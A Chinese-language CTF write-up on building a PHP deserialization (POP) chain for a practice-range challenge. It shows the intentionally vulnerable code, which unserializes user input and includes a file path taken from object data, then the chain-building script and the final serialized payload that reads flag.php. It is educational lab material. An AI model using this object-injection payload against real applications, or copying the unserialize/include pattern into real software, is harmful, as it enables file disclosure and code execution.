一道php反序列化题的pop链构造

news/2024/5/19 22:48:12 标签: php反序列化题, ctf, pop链构造

题目地址为:GitHub - mcc0624/php_ser_Class: php反序列化靶场

点击进入如下题

题目代码如下,其中像套娃一样,多次对魔术方法进行调用,挺烧脑。根据题目,显然目标是echo $flag

<?php
//flag is in flag.php
error_reporting(0); 
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 

像这种题,需要使用目标倒推法进行分析:

  1. 目标 触发echo输出flag,需让$value=flag.php,然后调用append(flag.php),invoke调用了append
  2. 触发invoke,调用append()。并使$var=flag.php。触发invoke条件:把对象当成函数。_get中返回了一个函数
  3. 让Test中的p属性=new Modifier,则会触发__invoke。那如何触发__get?调用的成员属性不存在则触发。
  4. Show中让$str=New Test(),Test中不存在source则会触发__get。那怎么触发__toString?把对象当成字符串调用则触发
  5. __wakeup中让source=new Show(),则触发__toString。如何触发__wakeup?反序列化则触发

倒退分析后,接着正推:

  1. 反序列化为Show对象触发wakeup()
  2. 并让show对象中的source属性=new show(),把对象当字符串输出, 触发tostring
  3. 接着让Show对象的str属性=New Test(),Test中不存在属性source,触发__get()。
  4. 让Test对象中$p属性=new Modifier(),把对象当函数返回,触发__invoke
  5. 让Modifier对象的私有var属性为=flag.php,调用append函数,输出flag

最后我们用代码实现pop链的构造

<?php

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

class Modifier {
    public $var;   //先修改为public,方便调用
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

$show = new Show;
$show->source=$show;
$test = new Test;
$show->str=$test;
$modi=new Modifier;
$test->p=$modi;
$modi->var="flag.php";

echo serialize($show);

?>

然后访问,输出反序列化字符串

需要把var改为私有属性

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

最后提交反序列化字符串,获取flag


http://www.niftyadmin.cn/n/339305.html

相关文章

唤端技术(跳转) 也叫deep link技术

不同平台的实现方式有些不同&#xff0c;常见的有这几种&#xff1a; URL Scheme &#xff08;通用&#xff09;Universal Link&#xff08;IOS&#xff09;App Link 、Chrome Intents&#xff08;android&#xff09; URL Scheme&#xff1a;一般有协议名、路径、参数组成&am…

药包材国家标准ybb2020-电子版在线阅读

国家药包材标准对于药品的质量和安全至关重要&#xff0c;因此需要查阅国家药包材标准来确保药品的质量和安全。 对于一些医药生产企业、药品检验机构、药品注册申请人、医疗机构来说他们查阅相关国家药包材标准可以说是轻车熟路&#xff0c;但对于部分新入行或普通人群想要了…

SCI论文总重复率29%,单篇重复达到了4%,请问可以了吗?

&#x1f449;&#x1f3fb;有小伙伴问&#xff1a;SCI论文查重29&#xff05;&#xff0c;有一篇跟导师之前发表的论文重复达到了4&#xff05;&#xff0c;请问可以吗&#xff1f;之前重复率是37&#xff05;&#xff0c;改了好久才改下来&#xff0c;但是感觉29&#xff05;…

React脚手架搭建

介绍 react提供了一个用于创建 react项目的脚手架库: create-react-app 全局安装react脚手架 npm i -g create-react-app 创建项目 create-react-app 项目包名 静等一会儿 创建成功 切换到创建的目录 输入 npm start或yarn start启动项目 项目基本结构介绍 自定义简单组件 p…

深度学习在图像识别方面的应用

前言 深度学习是一种非常强大的机器学习技术&#xff0c;它在许多领域都有广泛的应用。其中&#xff0c;图像识别是深度学习最成功的应用之一。本文将详细介绍深度学习在图像识别方面的应用。 图像识别的基本步骤 图像识别的基本步骤包括图像预处理、特征提取和分类器。图像预…

硬件工程师-MOS管

MOSFET 场效应管 N管 P管 对标三极管 N管 P管 三极管具有功率放大的作用 MOSFET也具有功率作用&#xff0c; 控制级的电流很小 控制信号的内阻大 输出级的电流很大 输出信号的内阻很小 三极管的缺点&#xff1a;流控…

Linux内存/proc/meminfo (free/available/buffer/cache)

目录 一、buffer/cache二、/proc/meminfoShmemSwapCachedActive(anon) / Inactive(anon) / Active(file) / Inactive(file)UnevictableSwapTotal/SwapFreeDirtyAnonPagesSlabSReclaimableSUnreclaimKernelStackPageTablesVmallocTotalVmallocUsed 三、MemAvailable计算四、ZONE…

诞生两年,这个产品便成为腾讯安全的“秘密武器”

腾讯既是企业服务产品的服务商又是使用者&#xff0c;很多产品最原始的出发点最早只是为了解决腾讯自身某一个需求&#xff0c;经过不断地发展完善和业务场景锤炼&#xff0c;最终从进化成一个成熟的企服产品。本系列文章讲述的是这样一组Made in Tencent故事&#xff0c;这是系…